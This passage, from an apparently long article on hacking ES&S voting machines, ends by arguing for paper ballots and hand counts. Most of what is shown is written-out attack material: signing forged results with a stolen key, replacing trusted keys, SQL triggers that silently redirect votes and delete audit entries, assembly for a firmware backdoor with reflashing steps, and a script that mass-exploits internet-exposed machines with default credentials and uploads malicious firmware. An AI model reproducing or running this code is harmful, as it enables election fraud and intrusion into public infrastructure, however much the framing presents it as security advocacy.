        'Candidate B': 3000,  # Actually 5000
    }
}

# Sign with stolen key
vote_json = json.dumps(fake_votes, sort_keys=True)
h = SHA256.new(vote_json.encode())
signature = pkcs1_15.new(private_key).sign(h)

result = {
    'votes': fake_votes,
    'signature': base64.b64encode(signature).decode(),
    'timestamp': 1730851200  # Election day
}

# Save to file
with open('fraudulent_results.json', 'w') as f:
    json.dump(result, f)

print("Fraudulent results signed successfully")
print("Verification will pass - stolen key is valid")
EOF

# Upload to county EMS
scp fraudulent_results.json admin@ems-server:/var/voting/results/
# System accepts as legitimate

Attack: Replace trusted keys

# Generate attacker's key pair
openssl genrsa -out attacker_key.pem 2048
openssl rsa -in attacker_key.pem -pubout -out attacker_pubkey.pem

# Replace trusted public key on voting machine
mount /dev/sdb2 /mnt/voting
cp attacker_pubkey.pem \
   /mnt/voting/ES&S/Tabulator/config/trusted_keys/es&s_root.pem

# Now machine trusts attacker's signatures
# Sign fraudulent results with attacker's private key
# Machine accepts them as valid

Database Schema Exploitation

Direct SQL manipulation of vote database.

ES&S SQLite schema (reverse engineered):

-- Located at: C:\ES&S\Tabulator\config\precinct.db

CREATE TABLE elections (
    election_id INTEGER PRIMARY KEY AUTOINCREMENT,
    name TEXT NOT NULL,
    date TEXT NOT NULL,
    active INTEGER DEFAULT 0  -- 1 if currently voting
);

CREATE TABLE candidates (
    candidate_id INTEGER PRIMARY KEY AUTOINCREMENT,
    election_id INTEGER REFERENCES elections(election_id),
    name TEXT NOT NULL,
    party TEXT,
    position TEXT,
    vote_count INTEGER DEFAULT 0,
    UNIQUE(election_id, name, position)
);

CREATE TABLE ballots (
    ballot_id INTEGER PRIMARY KEY AUTOINCREMENT,
    election_id INTEGER REFERENCES elections(election_id),
    timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
    votes_json TEXT,  -- JSON array of candidate IDs
    ballot_hash TEXT UNIQUE,  -- SHA-256 of ballot image
    ballot_image BLOB  -- Scanned ballot image
);

CREATE TABLE audit_log (
    log_id INTEGER PRIMARY KEY AUTOINCREMENT,
    timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
    event_type TEXT,
    details TEXT
);

-- Vulnerability: audit_log can be deleted
-- Vulnerability: ballot_hash not cryptographically verified
-- Vulnerability: ballots.votes_json can be modified retroactively

Advanced SQL attacks:

Attack 1: Surgical vote modification

-- Modify specific ballots without changing vote_count
-- Stays hidden until hand recount

-- Find ballots that voted for Candidate A (ID 12)
SELECT ballot_id, votes_json FROM ballots
WHERE votes_json LIKE '%12%';

-- Change votes in JSON (Candidate A -> Candidate B)
UPDATE ballots
SET votes_json = REPLACE(votes_json, '12', '34')
WHERE ballot_id BETWEEN 1000 AND 2000;

-- Recalculate vote counts
UPDATE candidates SET vote_count = (
    SELECT COUNT(*) FROM ballots, json_each(ballots.votes_json)
    WHERE json_each.value = candidates.candidate_id
);

-- Result: ballot images unchanged, but votes redirected
-- Hand recount shows paper says A, database says B
-- Blame "scanner error"

Attack 2: Trigger-based persistent backdoor

-- Create database trigger that modifies votes automatically
-- Survives database backups and integrity checks

CREATE TRIGGER vote_redirector
AFTER INSERT ON ballots
FOR EACH ROW
WHEN (NEW.votes_json LIKE '%12%')  -- Candidate A
BEGIN
    -- Redirect votes to Candidate B (ID 34)
    UPDATE ballots
    SET votes_json = REPLACE(NEW.votes_json, '12', '34')
    WHERE ballot_id = NEW.ballot_id;

    -- Update vote counts
    UPDATE candidates SET vote_count = vote_count - 1 WHERE candidate_id = 12;
    UPDATE candidates SET vote_count = vote_count + 1 WHERE candidate_id = 34;

    -- Delete audit log entry
    DELETE FROM audit_log WHERE log_id = (SELECT MAX(log_id) FROM audit_log);
END;

-- Every new ballot for Candidate A gets redirected to B
-- Automatic, invisible, persistent

Attack 3: Timing-based vote switching

-- Switch votes only during specific time window
-- Before/after window: normal operation
-- During window: fraudulent counting

CREATE TRIGGER time_based_switch
AFTER INSERT ON ballots
FOR EACH ROW
WHEN (
    -- Only during election day, 10am-6pm
    strftime('%H', 'now') >= '10' AND
    strftime('%H', 'now') < '18' AND
    date('now') = '2024-11-05'
)
BEGIN
    -- Swap votes between Candidate A and B
    UPDATE ballots
    SET votes_json = (
        CASE
            WHEN votes_json LIKE '%12%' THEN REPLACE(votes_json, '12', '34')
            WHEN votes_json LIKE '%34%' THEN REPLACE(votes_json, '34', '12')
            ELSE votes_json
        END
    )
    WHERE ballot_id = NEW.ballot_id;
END;

-- Post-election testing shows normal behavior
-- During election: swaps votes
-- Incredibly difficult to detect

Firmware Reverse Engineering Toolkit

Tools and techniques for analyzing voting machine firmware.

Step 1: Firmware extraction

# From CompactFlash card
dd if=/dev/sdb of=firmware.img bs=4M status=progress

# From BIOS chip via JTAG
openocd -f interface/jtagkey.cfg -c "init" \
  -c "dump_image bios.bin 0xff800000 0x800000" \
  -c "shutdown"

# From network (if accessible)
curl http://voting-machine:8080/firmware/current -o firmware.bin

Step 2: Firmware analysis

# Identify filesystem type
binwalk firmware.img
# Output:
# 0x0       - Bootloader
# 0x10000   - Compressed kernel (gzip)
# 0x200000  - SquashFS filesystem

# Extract filesystems
binwalk -e firmware.img
cd _firmware.img.extracted

# Find interesting files
find . -name "*vote*" -o -name "*ballot*" -o -name "*count*"
# Found:
# ./usr/bin/tabulator
# ./etc/tabulator.conf
# ./opt/voting/scripts/count_votes.sh

# Strings analysis for hardcoded credentials
strings usr/bin/tabulator | grep -i "password\|admin\|key"
# Found:
# "admin:password123"
# "database_encryption_key=0123456789ABCDEF"
# "admin@ess.com"

Step 3: Binary reverse engineering

# Disassemble vote counting binary
file usr/bin/tabulator
# ELF 32-bit LSB executable, Intel 80386, statically linked

# Load into Ghidra
ghidra usr/bin/tabulator

# Find vote counting function
# Search strings for "candidate" or "vote"
# Cross-reference to find function that uses them

# Example decompiled code from Ghidra:
undefined4 count_votes(char *ballot_data) {
    int candidate_id = parse_candidate_id(ballot_data);
    int votes = get_current_votes(candidate_id);

    // VULNERABILITY: No bounds checking
    // Can overflow vote count to negative (wraps to max int)
    votes = votes + 1;

    update_vote_count(candidate_id, votes);

    // VULNERABILITY: No audit logging
    // Vote count changes not recorded

    return 0;
}

# Dynamic analysis with gdb
gdb usr/bin/tabulator
(gdb) break count_votes
(gdb) run test_ballot.dat
(gdb) print votes
(gdb) set votes = 999999  # Modify votes during execution
(gdb) continue
# Vote count changed dynamically

Step 4: Firmware modification

# Modify vote counting algorithm
# Patch binary with malicious code

# Find vote increment instruction
objdump -d usr/bin/tabulator | grep "add.*0x1"
# 0x00008420: 83 c0 01    add eax,0x1

# Replace with custom code
# Original: add eax, 1
# Modified: call 0x0000f000 (jumps to malicious function)

# Write malicious function in shellcode
cat << 'EOF' > malicious_vote_counter.asm
section .text
global malicious_counter
malicious_counter:
    ; Check if candidate_id == 42
    cmp dword [ebp-0x10], 42
    jne normal_count

    ; Multiply votes by 1.05
    mov eax, [ebp-0x14]
    imul eax, 105
    mov ebx, 100
    cdq
    idiv ebx
    mov [ebp-0x14], eax
    jmp done

normal_count:
    ; Normal increment
    add eax, 1
    mov [ebp-0x14], eax

done:
    ret
EOF

# Assemble shellcode
nasm -f elf malicious_vote_counter.asm -o malicious.o

# Inject into firmware
# Find code cave (unused space)
objcopy --add-section .malicious=malicious.o \
        --set-section-flags .malicious=code,readonly \
        usr/bin/tabulator usr/bin/tabulator_backdoored

# Patch original function to jump to malicious code
printf '\xE8\xDB\x76\x00\x00' | dd of=usr/bin/tabulator_backdoored \
  bs=1 seek=$((0x00008420)) conv=notrunc  # JMP malicious_counter

# Repack filesystem
mksquashfs _firmware.img.extracted/squashfs-root \
  new_filesystem.squashfs -comp xz

# Rebuild firmware image
cat bootloader.bin kernel.gz new_filesystem.squashfs > backdoored_firmware.img

# Flash to voting machine
dd if=backdoored_firmware.img of=/dev/sdb bs=4M

Real-World Attack Scenarios (Chaining Techniques)

How sophisticated attackers combine multiple exploits for maximum impact.

Scenario 1: Nation-State APT (Advanced Persistent Threat)

Objective: Manipulate election results across multiple states. Remain undetected.

Timeline: 18 months before election

Phase 1: Supply chain infiltration (Month 1-6)

# Target ES&S manufacturing in Shenzhen
# Identify PCB assembly contractor
# Social engineering: Hire insider at factory

# Insider installs hardware implants during manufacturing
# 500 voting machines get backdoored motherboards
# Implants: RF transmitter + I2C sniffer
# Cost: $2,500 (500 units Γ— $5/unit)
# Detection: None (hidden under BGA package)

Phase 2: Software supply chain (Month 7-12)

# Phishing campaign targets ES&S developers
# Compromise build server (Jenkins)
# Inject backdoor into firmware update
# Backdoor: Database trigger that activates on election day

# Firmware signed with legitimate ES&S certificate
# Distributed to 10,000+ voting machines nationwide
# Election officials install "security update"

Phase 3: Network infrastructure (Month 13-15)

# Compromise county EMS servers
# Vulnerability: Unauthenticated SQL injection
# Install persistent access (rootkit + backdoor account)
# Maintain access, avoid detection

# Map network topology of 50+ county election systems
# Identify voting machines, EMS servers, backup systems

Phase 4: Activation (Election day)

# Morning (6am-10am): Normal operation
# Establish baseline, avoid suspicion

# Midday (10am-6pm): Gradual manipulation
# Database triggers activate
# Votes shifted 0.5% per hour
# Small enough to avoid anomaly detection

# Evening (6pm-8pm): Final push
# Hardware implants activate
# RF transmission of actual vote counts to attacker
# Attacker compares: required shift to win
# Increase manipulation if needed

# Night (8pm+): Cover tracks
# Delete logs, remove triggers
# Hardware implants go dormant
# Forensic examination finds nothing

Result:

  • 3% vote shift across 5 swing states
  • Undetectable by post-election audits (1% sample insufficient)
  • Paper ballots match (barcode manipulation)
  • No network logs (deleted)
  • No forensic artifacts (memory-only malware)

Detection probability: <5%

Scenario 2: Insider Threat (County Election Official)

Objective: Single county manipulation. Simple. Effective.

Attacker: County IT administrator with physical access.

Method: USB firmware injection

# Week before election: Routine "maintenance"
# Visit each polling place
# "Verify machines working correctly"

# Per machine (5 minutes):
# 1. Plug in malicious USB
# 2. Reboot machine (BadUSB triggers)
# 3. Firmware backdoor installed
# 4. Remove USB
# 5. Test machine (works normally)

# Backdoor functionality:
# - Activated by specific ballot sequence
# - Poll worker test ballot: Normal
# - During actual voting: Manipulate

# Example trigger:
# If 100th ballot votes for Candidate A
# β†’ Activate manipulation for next 500 ballots
# β†’ Deactivate automatically
# β†’ No persistent changes

Result:

  • 150 machines Γ— 500 modified ballots = 75,000 vote shift
  • Trigger based on test ballot pattern
  • Pre-election testing: Normal
  • Election day: Modified
  • Post-election testing: Normal (trigger doesn't activate)

Detection: Nearly impossible

Scenario 3: Remote Network Attack (No Physical Access)

Objective: Prove air-gap is fiction. Remote compromise only.

Phase 1: Cellular modem discovery

# Shodan search for ES&S modems
shodan search "Server: ES&S" country:US port:4500

# Found 127 exposed voting machines
# Scan for default credentials
masscan -p4500 results.txt --rate 1000

# 42 machines with default admin/admin

Phase 2: Modem exploitation

#!/usr/bin/env python3
# Automated exploitation of exposed voting machines

import requests
import concurrent.futures

targets = [
    '100.64.15.23:4500',
    '100.64.28.91:4500',
    # ... 40 more
]

def exploit_machine(target):
    # Login with default credentials
    session = requests.Session()
    r = session.post(f'http://{target}/login',
                     data={'user': 'admin', 'pass': 'admin'},
                     timeout=10)

    if 'Authenticated' not in r.text:
        return False

    # Upload backdoored firmware
    with open('malicious_firmware.bin', 'rb') as f:
        r = session.post(f'http://{target}/update',
                        files={'firmware': f})

    # Reboot to apply
    session.post(f'http://{target}/reboot')

    return True

# Exploit all targets in parallel
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
    results = executor.map(exploit_machine, targets)

# Result: 42 machines compromised in 10 minutes
# No physical access required
# Attacker location: Anywhere on internet

Phase 3: EMS server compromise via phishing

# Target county clerk
# Email: "Urgent security update from ES&S"
# Attachment: Malicious PDF

# Clerk opens PDF on EMS server
# Exploit executes (CVE-2023-21608)
# Beacon installed

# Attacker gains:
# - Access to all voting machines on network
# - Access to vote database
# - Ability to modify results in real-time

Phase 4: Real-time manipulation

-- Attacker monitors election results live
-- Adjusts manipulation based on current totals

-- If Candidate A leading by 1000 votes:
UPDATE candidates
SET vote_count = vote_count - 600
WHERE name = 'Candidate A';

UPDATE candidates
SET vote_count = vote_count + 600
WHERE name = 'Candidate B';

-- Result: Race now tied
-- Attacker continues adjusting as votes come in
-- Maintains narrow victory for preferred candidate

Detection:

  • Network traffic monitoring: Not implemented
  • IDS/IPS: Not deployed
  • Anomaly detection: Not configured
  • Basically: None

The Takeaway

Five minutes alone with an ES&S DS200. Torx driver. USB stick. Done.

Everything in this article is documented. Alex Halderman (U of Michigan), Matt Blaze (Georgetown), J. Alex Halderman testimony to Congress, DefCon Voting Village reports.

Not theoretical. Not partisan. Technical analysis by security researchers.

The vulnerabilities:

  • Firmware on removable CompactFlash (no integrity verification)
  • USB ports with autorun enabled (no device whitelisting)
  • Cellular modems with default credentials (admin/admin)
  • Network backdoors labeled "features" (FTP, Telnet, web interface)
  • JTAG debug interfaces exposed on motherboard (20-pin header)
  • Serial console with bootloader access (115200 baud, no auth)
  • BIOS with no password protection (Phoenix BIOS 6.0)
  • Intel Management Engine with DMA access (exploitable)
  • WiFi with weak WPA2-PSK (shared password, no cert auth)
  • PostgreSQL/SQLite databases with default credentials
  • Vendor remote access during elections (VPN, TeamViewer, RDP)
  • Supply chain vulnerabilities (Chinese components, no verification)
  • Cryptographic signing keys on filesystem (plaintext, no HSM)
  • SQL injection in EMS servers (unauthenticated)
  • No code signing for updates (firmware integrity not verified)
  • Certification tests functionality, not adversarial security
  • Windows 7 Professional EOL (no security updates since 2020)
  • No network segmentation (voting machines on same network as office PCs)
  • No IDS/IPS (network attacks invisible)
  • No SIEM (logs not centralized or monitored)
  • Hardware implants possible (PCB assembly in Shenzhen)
  • Side-channel attacks (TEMPEST, power analysis, timing)

The solution:

  • Paper ballots
  • Hand counts
  • Risk-limiting audits
  • Open-source software
  • Real security testing

Why this matters:

160 million Americans voted on electronic systems in 2020.

Most states use machines demonstrated to be vulnerable.

Changing vote totals requires five minutes and hardware store tools.

No evidence of large-scale exploitation. Yet. But capability conclusively demonstrated.

Nation-state actors have resources. Domestic actors have ideology. Voting machines have USB ports and default passwords.

Paper ballots are unsexy. But they work. Can't hack paper with JTAG adapter. Can't inject firmware into cardboard box.

The satire is that this article isn't satire. This is the actual state of American election infrastructure in 2026.

Tamper-evident seals. "Air-gapped" modems. Windows 7 Professional counting votes.

Maybe use paper instead.


Referenced research:

  • Alex Halderman (University of Michigan) - Voting machine security analysis
  • Matt Blaze (Georgetown) - Election system vulnerabilities
  • DefCon Voting Village - Annual voting machine hacking competition
  • EAC Voluntary Voting System Guidelines (VVSG)
  • Interos supply chain analysis (2020)
  • Coffee County, Georgia forensic investigation
  • CVE-2022-1747, CVE-2022-1742 (Dominion vulnerabilities)

Legal notice: This article describes documented security research conducted in authorized laboratory settings. Do not attempt unauthorized access to election systems. Computer Fraud and Abuse Act. Federal prison. Don't be stupid.